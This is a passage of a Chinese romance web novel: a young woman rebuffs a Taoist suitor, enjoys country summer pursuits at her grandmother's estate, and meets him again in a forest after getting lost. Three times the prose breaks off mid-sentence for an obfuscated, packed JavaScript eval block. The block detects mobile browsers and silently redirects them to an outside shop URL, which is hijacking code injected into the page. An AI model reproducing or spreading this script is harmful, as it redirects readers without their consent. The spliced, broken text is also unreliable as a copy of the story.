李清述将茶壶轻轻放回小炉上,语气平淡:“话本终究是话本,无需太过投入,徒增烦扰。” 贺佑宁捧起面前那杯温热的茶。 茶水温热熨帖着冰凉的掌心,清香沁入心脾,让她混乱的心绪也稍稍安定。 她低头抿了一口茶,没有再看李清述,也没有再就话本的内容发表任何看法。 16. 登徒浪子 茶水的温热让贺佑宁僵硬的身体和心绪都舒缓了些许,但李清述这个人带来的那种复杂难言的感觉,却并未随之消散。 她放下茶盏,指尖无意识地摩挲着光润的杯壁,犹豫片刻,还是忍不住问:“你打算在我这里待多久?” 李清述闻言,那双深邃的眼眸里似乎有什么情绪极快地掠过,快得让人抓不住。 随后他微微摇了摇头,语气是一贯的淡然:“不知。” 贺佑宁一怔。 不知?这算是什么回答? 她微微蹙眉,正想再问得仔细些,却听得李清述又缓缓补充了一句,“或许会再待一个时辰、一日……”他顿了顿,目光望向了更悠远的地方,声音轻得几不可闻,“或者一直……” 贺佑宁:“……” 一个时辰、一日……这还勉强能理解。 可是一直? 这是什么浑话?! 见她眼睛微微睁大,一副彻底愣住的模样,他再也忍不住,低低笑了起来。 那笑意已然从微弯的眼角流泻出来,冲淡了平日里那份疏淡与沉静。 “你……道长!”贺佑宁有些恼了。 李清述收敛起笑意,稍稍正色,但眼底那抹笑意依然隐约可见。他看着她微恼的神情,心情似乎颇好,连语气都轻快了一丝:“等该走的时候我自然会走。” 贺佑宁瞪了他一眼,没再追问。 “若是我一直不走,你会如何?” 他的目光凝在贺佑宁骤然停下的动作上。 贺佑宁握着茶盏的手指微微一紧,一直不走? 她定了定神,故意让自己的声音听起来冷静而果断,甚至带着点划清界限的疏离:“那我会走,我长了双腿,自己会离开。” 她说得干脆利落。 李清述目光深沉,仿佛在仔细品味她这句话里的每一个字。 忽而,他又笑了起来。 起初只是喉咙里逸出的几声闷笑,紧接着变得清晰,带着一种毫不掩饰,称得上恣意的愉悦,在安静的室内荡漾开来。 贺佑宁从未见过他如此笑过。 平日里他总是一袭素衫,身姿颀长挺拔,气质清冷出尘,眉眼间笼着淡淡的疏离,宛如谪仙临世,不染凡尘,令人只敢远观,不敢生出半分亵渎亲近之心。 可此刻当他眉眼舒展,唇角高高扬起时,那笑容竟如春回大地,冰雪消融,瞬间冲散了所有清冷与距离。 那双此刻盛满了细碎星芒,随着笑意轻轻颤动的深邃眼眸,都在这一笑中变得鲜活生动,光华夺目。长睫黑浓,更衬得那笑意清澈透亮。 那发自心底的愉悦如同冲破堤坝的春水,恣意流淌,将他周身那股谪仙般的清冷气息冲去,只留下一种近乎惊心的俊美与鲜活。 光华璀璨,且惑人心神。 “你又笑什么……?”贺佑宁的声音带着浓浓的困惑。 李清述缓缓平息情绪,但眼底的笑意依旧浓得化不开,亮得灼人。 “我笑贺姑娘……”他故意顿了顿,欣赏着她更加紧绷,几乎要冒烟的神色,“……还是这般天真可爱。” “你!”贺佑宁气结,刚想反驳,便听见他道。 “我说一直不走,你便说要走。”李清述慢条斯理地继续道,恢复了平日那种平稳的语调,但眼底的笑意和那柔和下来的光华并未褪去,“可贺姑娘有没有想过,你若走,我又当如何?” 贺佑宁一愣。 李清述微微前倾,拉近了距离,那双含笑的眼睛深深望进她眼底,声音压低了些,带着一种近乎蛊惑的磁性,一字一句,清晰无比:“我自然是……跟着你走。” 贺佑宁猛地向后一缩,拉开这令人窒息的距离,“你就是一个登徒浪子!” “登徒浪子”四个字,她几乎是咬牙切齿地说出来,颇有气势,仿佛掷地有声。仿佛这样就能给他贴上恶劣的标签,划清界限。 李清述目光牢牢锁着她,唇角微勾,那笑容不再像方才那般璀璨肆意,而是多了几分深沉意味。 “你说得对。”他开口,语气竟十分坦然,甚至带着点漫不经心的认同,“我的确不是什么循规蹈矩、恪守礼教的端方君子。” 贺佑宁:“……” 她预想中的辩驳、解释、甚至反诘都没有出现。他就这么……承认了?还承认得如此干脆利落,仿佛在陈述一件与己无关的事实。 这仿佛让她蓄力的一拳打在了棉花上,连一丝伤害都没有。 “在贺姑娘面前,我从来都没有想过做一个守礼之君。” 他怎么能如此平静地说出这样的话? 贺佑宁只觉得一种深深的无力感攫住了她。面对这样一个不按常理出牌,行事莫测,还能如此坦然认错的人,她所有的应对似乎都显得笨拙而无效。 李清述看着她的模样,好整以暇地靠回椅背。他知道,今天要点到为止,已经足够了。再多,恐怕真的要把她逼急了。 他看了眼窗外已然西斜的天色,语气恢复了寻常的平淡:“时候不早,我还有事。贺姑娘好生养病。” 他淡漠的语气,仿佛刚才那些石破天惊的话,只是她的一场幻听。 贺佑宁看着他起身,步履平稳地向门口走去,然后足尖轻点,从院子里消失。 她像骤然被抽空了力气般,趴在了桌面上。 这人,真是难搞…… …… 病好后,贺佑宁决定去外祖母家小住几日。 逃避……不,去享受一下乡间夏日的光景。 外祖母家的避暑庄子,山清水秀,景致怡人。她大病初愈,正该去散散心,松快松快。 往年这个时候,她已经在那里住下了。 告知了母亲,征得同意后,贺佑宁简单收拾了行装。第二日一早,便登上了前往城外的马车。 马车辘辘驶离了宁州城,将那些高墙深院、规矩礼数,连同那个扰人心神的身影,都暂时抛在了身后。 随着路程渐远,官道两旁的景色由市井喧嚣变为田野青翠,贺佑宁的心情也如同被解开束缚的鸟儿,渐渐飞扬起来。 外祖母家的庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155029|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子坐落在山麓水畔,依山傍水,绿树成荫。一踏入地界,便觉清风拂面,带着草木与溪流的清新气息,瞬间驱散了车马劳顿与心头的郁结。 马车在庄园门前停稳,贺佑宁刚被丫鬟扶着踏下车辕,一阵欢快的喧闹声便扑面而来。 “宁姐姐来了!” “表妹!可算把你盼来了!” “姑姑,姑姑,你看那是谁呀?” 一群半大孩子和几位年纪相仿的表亲早已候在门口,见她下车,立刻围了上来,七嘴八舌,笑容灿烂,眼神里满是毫不掩饰的欢喜。 贺佑宁被这热络的气氛包围,脸上也不由自主漾开了真切的笑意,一一应答着。 “都堵在门口做什么?还不快让你们宁姐姐进来歇歇!”一道慈和却不失威严的声音从门内传来。 孩子们立刻乖巧地让开一条路。贺佑宁抬眼望去,只见一位头发花白、精神矍铄的老妇人,正扶着门框,含笑望着她。老妇人穿着一身家常的褐色绸衫,面容慈祥,眼神明亮,正是她的外祖母,沈老夫人。 “外祖母!”贺佑宁心头一暖,快步上前,规规矩矩地行了个礼,“岁岁来叨扰您啦。” “快起来,快起来!”沈老夫人连忙伸手虚扶,待贺佑宁起身,便拉着她的手,上下仔细打量,眼里满是疼惜,“瘦了,也憔悴了。听说前些日子病了?怎么也不早些递个信来,让你舅舅接你过来将养?这乡下地方,别的没有,就是空气好,景致好,最是养人。” 贺佑宁感受着外祖母手心传来的温热,笑道:“已经大好了,劳外祖母挂心。就是想着来您这儿松快松快,沾沾福气。” “好了就好,好了就好!”老夫人连连点头,拉着她往里走,“来了就好,安心住下。那些个规矩礼数,在城里拗着也就罢了,到了外祖母这儿,只管怎么松快怎么来。我瞧你气色还是弱,回头让庄头家的给你炖些温补的汤水,好好调养调养。” 说着,又回头对那群眼巴巴跟在后面的孩子们笑道:“你们这些皮猴儿,可不许累着你们宁姐姐。带她玩可以,不许胡闹,听到没?” “知道啦,祖母!”“我们一定照顾好宁姐姐!”孩子们异口同声地保证,语气欢快。 老夫人满意地点头,又对贺佑宁温言道:“你的屋子早就收拾好了,还是你往年住的那间,推开窗就能看见后山的竹林和小河。先去梳洗歇息,晚膳咱们一家人好好聚聚。” 贺佑宁乖巧应下,心中涌起阵阵暖流。 她被表妹亲热地挽着胳膊,在一群孩子们的簇拥下,向着熟悉的院落走去。 打开门,进入那间布置得清新雅致的熟悉厢房,推开雕花木窗,满目苍翠的竹林和波光粼粼的小河便映入眼帘,清风带着水汽和竹叶的清香拂面而来。 她深深吸了一口气,连日来的紧绷与纷乱,似乎真的被这山野间的气息涤荡去了不少。 这里没有步步紧逼的男人,没有令人心慌意乱的言语,只有纯粹的亲情和自然的宁静。 她可以暂时放下那些,好好享受这难得的夏日时光。 17. 夏日 在庄子安顿下来的第二日,贺佑宁便被几个年纪稍长的表妹表弟拉出了门,后面还缀着一串小尾巴似的孩子们。 目的地是庄园后山一处向阳的山坡,据说那里的野果正当季。 一行人绕过潺潺的小河,沿着被踩出的小径向山上走去。山路不算陡,但草木丰茂,露水打湿了衣摆。孩子们却毫不在意,像小兽般敏捷地在前面开路,不时回头招呼:“宁姐姐快点!” “看,那边有松鼠!” 贺佑宁提着裙摆,小心地跟在后面。 山林间空气湿润清新,鸟鸣虫唱。 “到了到了!”跑在最前面的小表妹兴奋地喊道。 贺佑宁快走几步,登上坡顶,眼前豁然开朗。一片向阳的缓坡上,低矮的灌木丛连绵成片,绿叶间点缀着无数或红或紫、或黄或黑的小果子,在阳光下闪着诱人的光泽。 “这是灯笼泡,酸酸甜甜的,最解渴!” 小表妹指着一丛结满红色小浆果的灌木,那果子圆润如小灯笼,表皮半透明,能隐隐看见里面的籽。“那是地稔,紫黑色的,特别甜,就是吃了舌头会染上颜色,哈哈!”她又指向另一种匍匐在地的植物,上面结着乌黑发亮的果实。 还有一种金黄色形似迷你柿子的“山柿子”,表皮光滑,据说要放软了才好吃;以及一种叫做“八月炸”的野果,果皮会自然裂开,露出里面乳白色的蜜甜果肉。 孩子们早已欢呼着四散开来,小心翼翼地避开刺藤,开始采摘。 贺佑宁也学着他们的样子,蹲下身,用手指轻轻捏住一颗熟透的灯笼泡,微微一用力,果子便脱离了枝头,落入掌心。 她将它放入口中,轻轻一抿,薄薄的果皮破裂,酸甜清凉的汁液瞬间溢满口腔,带着山林阳光和雨露的味道,清新得让人精神一振。 “宁姐姐,尝尝这个!”小表妹递过来几颗紫得发黑的地稔。 贺佑宁接过,放入口中,果然甜如蜜糖,只是片刻后,舌尖便染上了一层淡紫色,惹得孩子们又是一阵善意的哄笑。 大家边摘边吃,欢声笑语在山坡上回荡。 贺佑宁的裙摆和袖口不免沾上了草屑和果汁,她却浑然不在意,只觉得这种无拘无束、亲近自然的快乐,实在难得。 摘完野果后,不知谁提议去小溪里摸鱼,立刻得到了所有人的响应。 孩子们熟门熟路地带着贺佑宁来到庄子下游一处水流平缓、清澈见底的河湾。岸边绿柳成荫,河湾越往下越狭窄,分流形成几条小溪。水底铺着细沙和光滑的卵石,几尾小鱼悠闲地游来游去。 “宁姐姐,你会摸鱼吗?”小表妹跃跃欲试地问。 贺佑宁看着清凉的溪水,也有些心动。她今日恰好穿了一身质地轻薄的豆绿色齐腰襦裙,行动倒也方便,犹豫片刻,她便点了点头:“我试试,好久没摸过了,可能有些生疏了。” 她除去了鞋袜,挽起宽大的袖口,又将过长的裙摆提起,在腰间松松地打了个结,露出一截白皙纤细的小腿,然后慢慢踏入溪间。 冰凉的溪水漫过脚踝,激得她轻轻“嘶”了一声,随即适应了那份舒爽的凉意。 她学着孩子们的样子,弯下腰,双手微微张开,屏息凝神,目光紧盯着水中游弋的鱼儿。 阳光透过树叶的缝隙,在水面投下斑驳的光影,也将她专注的侧脸和浸在水中的半截绿色裙裾映照得格外生动。豆绿色的裙摆随着水波轻轻荡漾,如同水底舒展的荷叶。 一条巴掌大的小鱼慢悠悠地游了过来,贺佑宁的心提了起来,看准时机,双手猛地向水中一合—— “哗啦!” 水花四溅,鱼儿却从她指尖敏捷地溜走了,只留下掌心冰凉的溪水和空空如也的触感。她因用力过猛,身体晃了一下,差点没站稳,惹得岸上的孩子们哈哈大笑。 贺佑宁也不恼,脸上反而绽开了畅快的笑容。她甩了甩手上的水珠,重新弯下腰,继续尝试。一次,两次……渐渐地,她摸到了一些门道,动作放得更轻,时机把握得更准。 终于,在一次悄无声息的合围后,她感觉到掌心传来滑腻而有力的挣扎感。 “抓住了!我抓住了!”她惊喜地叫出声,双手小心翼翼地捧着那尾不断扑腾的小鱼,从水里举起来。水珠顺着她纤细的手指和手腕滴落,在阳光下闪闪发光。 她脸上沾着几点水渍,头发也松散了几缕贴在颊边,眼中却闪烁着前所未有的明亮光彩,那是一种纯粹的的喜悦。 “宁姐姐厉害!” “哇,真的抓到了!” 孩子们围拢过来,七嘴八舌地赞叹。 几次成功的尝试后,收获渐渐多了起来。 其它人有的眼疾手快,用自制的简易鱼叉叉到了一条肥美的草鱼。有的用竹篾编的小笊篱,在水草丰茂处捞起了好几条活蹦乱跳的鲫鱼和小杂鱼。还有的在石头缝里摸到了几只肥嘟嘟的河虾。 “够了够了!这些足够我们烤了!” 小表妹看着木桶里扑腾的鱼虾,兴奋地拍手。她显然是这群孩子里的“领头羊”,很快便指挥若定:“你去捡些干柴来,要粗点的耐烧的。至于你,带两个人去庄子上偷偷拿点盐和油,还有我娘晒的那些香料粉,记得别被嬷嬷发现!其他人,跟我一起把鱼收拾了!” 孩子们欢呼一声,立刻分头行动,熟稔得仿佛演练过无数次。 贺佑宁看得有趣,也想帮忙:“我能做什么?” 小表妹笑道:“宁姐姐,你就负责看着火候吧!” 贺佑宁点头便应下,找了块干净的大石头坐下,等他们将柴火捡来。 小表妹则带着几个大孩子,利落地用随身小刀刮鳞、剖腹、清理内脏,动作麻利,显然不是第一次做。较小的孩子们则帮着用溪水反复冲洗处理好的鱼虾。 不一会儿,孩子们抱回来一捆干枯的树枝和几块大小合适的石头。他们在岸边避风处,用石头垒了个简易的灶坑。 除此之外还有“战利品”也顺利归来。 一小罐盐,一小瓶油,还有几个装着研磨好的花椒粉、孜然粉的小布袋。 火很快生了起来,橘红色的火苗舔舐着干燥的树枝,发出噼啪的轻响。 小表妹找了几根粗细适中、一头削尖的树枝,将较大的草鱼和鲫鱼穿起来,较小的杂鱼和河虾则用阔大的树叶包裹好。她在鱼身上细细地抹上薄油,又均匀地撒上盐和香料粉。 “宁姐姐,看着火,别太大,也别让它灭了就行!”小表妹将穿好的鱼递给贺佑宁两根,自己则拿着另外的,蹲在火堆旁,开始认真地烤制。 贺佑宁学着她的样子,将穿着鱼的树枝架在石头上,小心地调整着距离,让火焰均匀地炙烤着鱼身。油脂滴入火中,滋啦作响,激起更旺的火苗和浓郁的香气。那香气混合着松木燃烧的烟熏味和鱼肉的鲜香,以及花椒孜然的辛香,在山野清风中飘散开来,勾得人食指大动。 她专注地盯着手中渐渐变得金黄焦脆的鱼皮,不时轻轻转动树枝,防止烤焦。 “宁姐姐,你那条快好了,翻个面!”小表妹提醒道。 贺佑宁连忙照做,看着另一面鱼皮也开始泛起诱人的焦黄色,心中升起一种奇异的满足感。 终于,几条大鱼和包裹着树叶的小鱼小虾都烤好了。孩子们围坐在火堆旁,也顾不上烫,你一条我一条地分食起来。 “小心刺!” “好烫好烫!但是好好吃!” 贺佑宁接过表妹递来的一小块鲜嫩的鱼腹肉,吹了吹,小心地咬了一口。外皮焦香酥脆,内里鱼肉雪白鲜嫩,混合着恰到好处的咸味和香料独特的香气,带着一丝烟火气,鲜美得让人几乎要吞掉舌头。 这种粗犷而直接的美味,是精细烹调难以比拟的。 她一边小口吃着,一边看着周围孩子们狼吞虎咽、满脸餍足的样子,听着那些满足的喟叹和欢声笑语,嘴角的笑意一直未曾落下。 “走!去瓜田!”小表妹吃完一抹嘴,率先跳起来,眼里闪着狡黠的光,“这个时辰,看瓜的王老头肯定回去吃饭了!” “对对对!昨天我去看了,东头那几垄的甜瓜,长得可好了,皮薄瓤甜!”另一个孩子立刻附和。 小表妹看向贺佑宁,眨眨眼:“宁姐姐,去不去?摘几个瓜回去,晚上当零嘴,或者让厨房冰镇了明天吃,解暑最好了!” 贺佑宁看着他们亮晶晶充满期待的眼睛,莞尔一笑。 “去!”她站起身,拍了拍裙子上并不存在的灰尘,语气轻快。 孩子们立刻发出一阵低低的欢呼,手脚麻利地将火堆彻底熄灭,用土掩埋好灰烬,确保不留一点火星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155030|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。然后,他们便像一群训练有素的小山雀,悄无声息地穿过树林,沿着田埂,向着庄园边缘的瓜田摸去。 瓜田在一片开阔的坡地上,绿油油的瓜藤铺满了地面,一个个圆滚滚或长条状的瓜隐藏在阔大的叶片下。夕阳斜照,给瓜田笼罩上一层静谧而丰饶的光晕。果然,田边那个简陋的窝棚里空无一人,只有几件旧农具靠在一边。 “快,动作轻点!”小表妹压低声音指挥着,自己率先蹑手蹑脚地踏入瓜田。孩子们也分散开来,猫着腰,在瓜藤间仔细搜寻,不时轻轻敲击瓜身,侧耳倾听声音,辨别熟度。 贺佑宁也学着他们的样子,小心翼翼地拨开瓜叶。指尖触碰到一个光滑微凉的瓜身,她轻轻捧起,是一个青皮带着浅黄纹路的甜瓜,凑近鼻尖,能闻到一股清甜的香气。 她又看了看旁边另一个稍大些的,敲击时发出沉闷的“噗噗”声。 “宁姐姐,这个好!听声音熟透了!”其中一个孩子凑过来,小声说道,指了指那个大瓜。 贺佑宁点点头,正要伸手去摘,小表妹却凑了过来,手里已经抱着两个小巧的金黄色香瓜。“宁姐姐,别光摘大的,这种小的香瓜才更甜更香呢!”说着,她熟练地用手指在瓜蒂处一掐,香瓜便脱离了瓜藤。 贺佑宁有样学样,轻轻扭动那个浅黄色甜瓜的瓜蒂,只听“咔”一声轻响,瓜便摘了下来,沉甸甸的,带着阳光的温度和泥土的气息。她又依言摘了两个小巧的金黄色香瓜。 孩子们也都各有收获,怀里抱着或大或小、形状各异的瓜。 “够了够了,快走!”小表妹警惕地看了看窝棚方向,一挥手,孩子们立刻抱着“战利品”,沿着来路,飞快而安静地撤退。 “走,回去让厨房给咱们切了!”小表妹迫不及待地说道。 一行人说说笑笑,抱着满怀的瓜,顶着日头,向着庄子的方向走去。 贺佑宁走在中间,怀里抱着一个沉甸甸的甜瓜和两个小巧的香瓜,裙摆拂过路边的野草,发出沙沙的轻响。 老夫人听说他们去玩回来了,还带了瓜,不但没责怪这群“小土匪”去“祸害”瓜田,反而乐呵呵地让厨房将瓜都洗净切了,又命人搬了竹榻、藤椅到宽敞通风的庭院里,摆上小几,备上清茶。 “都玩疯了吧?一身汗,快去洗把脸,换身干爽衣裳,再来吃瓜纳凉。”老夫子慈爱地吩咐着,目光特意在贺佑宁身上停留了一下。 贺佑宁有些不好意思,但还是乖巧地应了,回房快速梳洗,换了身家常的雪白细棉布裙衫,头发也只用一根银簪子松松挽起,整个人顿时清爽了许多。 等她再回到庭院时,那里已经热闹起来。孩子们洗去了脸上的汗渍和泥灰,换上了干净衣裳,正围坐在竹榻藤椅间。 几张小几上,白瓷盘里盛满了切好的瓜。青皮的甜瓜被切成均匀的月牙形,瓤肉是诱人的橙红色,籽黑如墨,汁水丰盈。金黄的香瓜则切成小块,果肉晶莹,香气扑鼻。还有翠绿的菜瓜,切成薄片,爽脆清口。 微风习习,吹散了些许暑气,带来远处田野和荷塘的清香。远处隐约传来鸟虫鸣叫,更添了几分夏日生动。 “宁姐姐,快来!这块最甜!”小表妹拿起一块边缘泛着最深橙红色的甜瓜,递给她。 贺佑宁接过,在竹榻边坐下。 瓜肉入手微凉,她轻轻咬了一口。甘甜的汁液瞬间在口中迸发,清凉爽口,直沁心脾。恰到好处的熟度使得瓜肉细腻无渣,香甜却不腻人。烤鱼的烟火气和溪水的微腥,都被这清甜的瓜香彻底涤荡干净。 “唔,真甜!”她忍不住赞叹,眉眼舒展,尽是满足。 “那是!我挑的瓜,保熟保甜!”小表妹得意地扬起下巴,惹来一片善意的笑声。 孩子们叽叽喳喳地比较着谁摘的瓜更甜,讨论着明天再去哪里“探险”…… 大人们则坐在稍远些的藤椅上,摇着蒲扇,喝着清茶,低声闲话家常,目光不时慈爱地落在这群无忧无虑的孩子身上。 贺佑宁小口吃着瓜,听着周围的声音,只觉得此刻这般简单、质朴、美好…… 吃完后。她又拿起一块香瓜。金黄的果肉入口即化,香气更为馥郁,带着一丝独特的蜜味,在舌尖萦绕不去。 她慢慢地吃着,让这份清甜一点点抚平那些被搅乱的涟漪。 18. 上山 夏夜静谧,只有远处传来的断续蛙鸣和草丛间不知名虫儿的低吟。 贺佑宁梳洗完毕,换上了细软的寝衣,长发披散在肩头。白日里的疲惫涌上来,她打了个小小的哈欠,走到窗边,正要合上支摘窗就寝。 目光却被窗台上一样东西吸引了。 那是一盏小巧玲珑的灯笼,用极细的竹篾编织而成,孔隙细密均匀,呈浑圆的球形,不过巴掌大小。此刻,这盏小小的竹灯笼里,正闪烁着点点柔和幽绿的光芒。 是萤火虫。 贺佑宁微微讶异,随即莞尔。 定是那群淘气的孩子们,不知什么时候偷偷放在她窗台上的。 她小心翼翼地捧起那盏萤火虫灯。 竹篾编织得极为精巧,入手轻若无物。透过细密的孔隙,能看见里面十来只萤火虫,正懒洋洋地伏在底部,尾部的发光器明灭闪烁。 那光芒不刺眼,温润而神秘,映在她白皙的掌心,将她的手指也染上了一层梦幻般的淡淡幽绿。 她唇边噙着一抹笑意,在窗边的绣墩上坐下,指尖轻轻抚过光滑微凉的竹篾,就着朦胧的月光,细细把玩端详。 玩了一会儿后,倦意更浓。 她站起身,捧着萤火虫灯走到窗前。 寻到竹笼上一个不起眼的活扣,轻轻一拨,笼盖便松开了。她将竹笼微微倾斜,对着窗外静谧的庭院。 “去吧。”她轻声说。 他们的心意她领了,但这些小小的生灵,不该被囚.禁在这一方小小的竹笼里。 竹笼内的萤火虫似乎感受到了自由的气息,尾部的光芒急促地闪烁了几下。 然后,一点、两点、三点……幽绿的光点轻盈地飘出了竹笼,如同散落的星屑,在夜空中划出短暂优美的弧线,旋即融入庭院深沉的黑暗里。 贺佑宁看着空荡荡的竹笼,又望了望窗外那重新变得自由闪烁的点点萤光,心中一片平和宁静。她将竹笼轻轻放在窗台上,没有再关上窗户,任由带着草木清香的夜风温柔地吹入室内。 吹熄了灯烛,她躺回床上,帐幔轻垂,很快便沉入了安稳的梦乡之中。 * 第二日,贺佑宁是被窗外清脆的鸟鸣声唤醒的。 她惬意地伸了个懒腰,昨晚一夜无梦,睡得格外香甜,随后起身去梳洗。 梳洗完毕后,换上一身碧色长裙,用丝带将长发松松束起,贺佑宁神清气爽地走出房门。 刚走到前厅附近,便听到一阵叽叽喳喳的议论声,正是以小表妹为首的那群孩子们。 “真的假的?后山崖壁那边?” “我昨晚听庄头家的二小子说的,他前儿个去砍柴看到的,好大一片呢!” “那还等什么?吃完饭就去!” “得带上背篓和小铲子……” 贺佑宁走近,笑问:“一大早的,又在商量什么‘大计’呢?” 孩子们见她来了,眼睛一亮,立刻围了上来。小表妹兴奋地道:“宁姐姐,你来得正好!我们正商量着去后山采菌子呢!庄头说,这几日雨水足,后山背阴的崖壁下,长了好大一片鸡枞菌和松茸,正是最鲜嫩的时候!去晚了,就被松鼠和小兽啃光了,或者长老了!” 采菌子?贺佑宁心中一动。 看着他们跃跃欲试的模样,她也来了兴致:“我也去!” “好啊!”小表妹拍手,“宁姐姐你眼神好,说不定能比我们找到更多呢!” 老夫人正好由嬷嬷扶着走出来,听见他们的计划,慈祥地笑道:“去玩玩也好,小心些,别往太陡峭的地方去,带上两个稳妥的婆子跟着。采回来的菌子,中午让厨房添菜。” 有了祖母的首肯,孩子们更是欢呼雀跃。早膳用得都比平日快了几分。 饭后,他们便装备起来。 每人一个小背篓,一把小巧轻便的竹片铲子,小表妹还细心地给每人分了一顶遮阳的竹笠。两个经验丰富、手脚利落的庄户婆子也被安排跟着,负责引路和照看安全。 一行人再次出发,这次的目标是庄园更深处的后山。穿过一片茂密的竹林,沿着樵夫踩出的小径向上攀爬。山林间空气湿润,草木葱茏,鸟鸣啁啾,阳光透过层层叠叠的树叶,在地上投下斑驳晃动的光斑。 “小心脚下,有些地方青苔滑。”引路的婆子不时提醒。 走了约莫小半个时辰,地势渐陡,来到一处布满蕨类植物和湿润苔藓的崖壁背阴下方。这里光线昏暗,空气清凉,弥漫着一股泥土和腐殖质特有的芬芳。 “看!在那里!”眼尖的小表妹第一个发现,指着崖壁底部一片松软的腐殖土。 众人顺着她指的方向看去,只见棕黑色的泥土和厚厚的松针落叶间,果然冒出了一簇簇、一丛丛形态各异的菌子。 有的顶着灰褐色的小伞,伞盖还未完全打开,正是鲜嫩的鸡枞菌。有的颜色更深,菌盖肥厚,带着独特的松脂香气,是松茸。还有不少其他种类的菌子,颜色从洁白到深褐不等,静静矗立着。 “真的是鸡枞!还有松茸!”小表妹压低声音,带着发现宝藏的惊喜,“大家分散开,仔细找,小心别踩到了!只采认识的和婆子说能吃的!” 孩子们立刻安静下来,带着几分敬畏和兴奋,开始小心翼翼地搜寻。 贺佑宁也学着他们的样子,俯下身,拨开松软的落叶和蕨类植物,仔细辨认。很快,她就在一处树根旁发现了几朵顶着褐色小帽、菌柄修长的鸡枞菌,它们挨挨挤挤地长在一起,菌盖湿润,沾着晶莹的露珠。 她用竹片铲子轻轻插进菌子旁边的泥土,小心地将整朵菌子连同部分菌根撬起,尽量不破坏周围的菌丝。将沾着泥土的菌子放入背篓,一种收获的喜悦油然而生。 “宁姐姐,你看这个是不是松茸?”其它孩子在不远处招手。 贺佑宁走过去,看到他面前几朵菌盖肥厚,颜色深褐,带着白色鳞片的菌子。引路的婆子过来看了看,肯定地点头:“是松茸,好品相!姑娘小心采。” 山林间静谧而专注。 贺佑宁的背篓渐渐沉了起来,除了鸡枞和松茸,她还采到了一些洁白的草菇和几朵肥厚的牛肝菌。 * 就在快采摘完之时,贺佑宁的眼角余光忽然瞥见斜对面的林隙间,掠过一抹极其绚丽的色彩。 像是拖着长尾的锦鸡,又或是别的什么珍禽,羽色在透过林叶的阳光下,闪耀着宝石般的蓝绿色光泽,惊鸿一瞥,华美非凡。 那色彩太过夺目,与她平日所见的灰扑扑的山野截然不同。几乎是下意识的,她的脚步朝那个方向挪动了一下。她想,只是靠近一点看看,若是追不上,立刻退回便是,其余人就在附近,应当无碍。 这个念头一旦升起,便如同藤蔓缠绕。眼看着那抹华彩再次在林间一闪,似在引诱,贺佑宁终究没能按捺住好奇心,悄悄退后几步,然后转身,朝着那抹色彩消失的方向,轻手轻脚地追了过去。 林间的路径比她想象得更复杂。 高大相似的树木,茂密难辨的灌木,脚下厚厚的落叶层掩盖了真正的路径。她追着那抹时隐时现的华彩,越走越深,起初还能隐约听到身后远处传来的声音。 渐渐地,那些声音都消失了,只剩下她自己略显急促的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见李清述不知何时,竟悄无声息地站在她身后几步之外的一株杉树下。他依旧是一身素淡的常服,身姿挺拔,神情疏淡,仿佛只是偶然在此处散步,而非出现在这深山老林之中。阳光透过枝叶,在他身上投下斑驳的光影,却照不透他眼底那片深潭般的沉静。 “你……你怎么会在这里?!”贺佑宁惊魂未定,脱口而出,声音因紧张而有些变调。她下意识地后退半步,背抵住了粗糙的树干。 李清述的目光在她因疾走和惊吓而微微泛红的脸上停留了一瞬,又扫过她沾了草屑泥点的骑装和有些凌乱的发髻,语气平淡得像在讨论天气: “路过。” 路过? 贺佑宁简直不敢相信自己的耳朵。这深山老林,人迹罕至,他一个“路过”?骗鬼呢! “你……”她气结,一时不知该质问他的神出鬼没,还是该先庆幸在这荒无人烟的地方遇到了一个认识的人。 “你跟踪我?”她忽然想到这个可能,眼神里带上了警惕。 李清述眉梢几不可察地动了一下,既未承认,也未否认,只是重复了一遍,声音平稳无波:“往左前方,雷击老松,百步后右转,沿小径下山。” 他的语气太过笃定,仿佛对这片山林了如指掌。贺佑宁看着他沉静的眼眸,心中的慌乱奇异地平复了些许,但疑惑和一丝被“监视”的不悦却升腾起来。 “你到底为何在此?”她坚持追问,不肯被他轻易带过话题。 李清述静静地看着她,那目光仿佛能穿透她强装的镇定,看到她心底的惊惶与疑惑。片刻后,他才缓缓开口,声音比方才低沉了些,带着一种难以言喻的意味: “我说过,”他顿了顿,目光锁住她微微睁大的眼睛,“你若要‘走’,我自然是……‘跟着你走’。” 贺佑宁的呼吸猛地一滞。 那日在他房中,他带着恣意笑容说出的那句话,此刻在这幽深寂静、危机暗伏的山林里,被他用如此平静、却无比认真的语气再次提起,带来的冲击力竟比当日更甚百倍。 他不是在开玩笑。 他真的是……跟着她来的。从京城到这避暑庄园,再到这密林深处。 这个认知让她心头巨震。 19. 质问 密林幽深,光影斑驳,四下里寂静得只能听见自己擂鼓般的心跳和树叶摩挲的沙沙声。李清述那句话,像一枚投入死水潭的石子,激起的不是涟漪,而是足以将她溺毙的惊涛骇浪。 他不是在开玩笑。 他真的跟来了。从京城到这山庄子,再到这无人知晓的密林深处。 